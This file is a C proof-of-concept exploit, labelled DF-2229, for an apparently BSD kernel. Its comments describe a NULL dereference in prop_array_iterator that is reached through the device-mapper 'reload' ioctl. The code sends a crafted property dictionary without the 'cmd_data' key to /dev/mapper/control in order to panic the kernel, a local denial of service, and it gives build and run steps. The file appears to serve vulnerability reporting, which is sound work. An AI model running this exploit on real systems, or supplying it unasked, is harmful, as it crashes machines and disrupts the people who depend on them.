/*
 * df2229.c - prop_array_iterator(NULL) panic PoC (DF-2229, via dm ioctl).
 *
 * The device-mapper NETBSD_DM_IOCTL routes "reload" -> dm_table_load_ioctl,
 * which does:
 *     cmd_array = prop_dictionary_get(dm_dict, DM_IOCTL_CMD_DATA);  // NULL if absent
 *     iter = prop_array_iterator(cmd_array);                        // <-- NULL deref
 * at sys/dev/disk/dm/dm_ioctl.c:707-708, BEFORE the device-lookup check.
 * prop_array_iterator() (sys/libprop/prop_array.c:538) dereferences
 * pa->pa_rwlock with NO prop_object_is_array() guard, so passing NULL
 * (pa=NULL) -> mtx_lock(&pa->pa_rwlock) faults at a near-NULL address ->
 * kernel panic.  (Three sibling accessors -- prop_array_make_immutable,
 * prop_array_mutable, prop_array_externalize -- have the same missing guard.)
 *
 * This PoC builds a prop_dictionary with command="reload", a valid version
 * array [4,16,0] (passes dm_check_version), but OMITS the "cmd_data" key,
 * so prop_dictionary_get returns NULL -> prop_array_iterator(NULL) -> panic.
 *
 * /dev/mapper/control is created when the dm module is loaded and is 0640
 * root:operator (local DoS for operator-group users; root for sure).
 *
 * Build: cc -o df2229 df2229.c -lprop
 * Run:   ./df2229            (kldload dm first; needs /dev/mapper/control)
 */
#include <libprop/proplib.h>
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* real plistref (sys/libprop/plistref.h): { void *pref_plist; size_t pref_len; } */
struct my_plistref { void *pref_plist; size_t pref_len; };
#define DM_IOCTL 0xfd
#define MY_NETBSD_DM_IOCTL _IOWR(DM_IOCTL, 0, struct my_plistref)  /* = 0xc010fd00 */
#define DM_VERSION_MAJOR 4
#define DM_VERSION_MINOR 16
#define DM_VERSION_PATCHLEVEL 0

int main(void) {
    int fd = open("/dev/mapper/control", O_RDWR);
    if (fd < 0) { perror("open /dev/mapper/control"); return 2; }

    /* Build the plist: command="reload", version=[4,16,0], name="x".
       Crucially, NO "cmd_data" key. */
    prop_dictionary_t dict = prop_dictionary_create();
    prop_dictionary_set_cstring(dict, "command", "reload");
    prop_dictionary_set_cstring(dict, "name", "df2229dev");
    prop_array_t ver = prop_array_create();
    prop_array_set_uint32(ver, 0, DM_VERSION_MAJOR);
    prop_array_set_uint32(ver, 1, DM_VERSION_MINOR);
    prop_array_set_uint32(ver, 2, DM_VERSION_PATCHLEVEL);
    prop_dictionary_set(dict, "version", ver);
    prop_object_release(ver);
    prop_dictionary_set_uint32(dict, "flags", 0);

    /* Send via the plistref ioctl. prop_dictionary_send_ioctl packs the dict
       into a plistref and issues the ioctl number we pass.  We must pass the
       SAME NETBSD_DM_IOCTL number the kernel expects. */
    printf("df2229: sending NETBSD_DM_IOCTL reload WITHOUT cmd_data "
           "(expect prop_array_iterator(NULL) panic)\n"); fflush(stdout);
    int r = prop_dictionary_send_ioctl(dict, fd, MY_NETBSD_DM_IOCTL);
    printf("df2229: prop_dictionary_send_ioctl returned %d (if we got here, no panic)\n", r);
    prop_object_release(dict);
    close(fd);
    return 0;
}
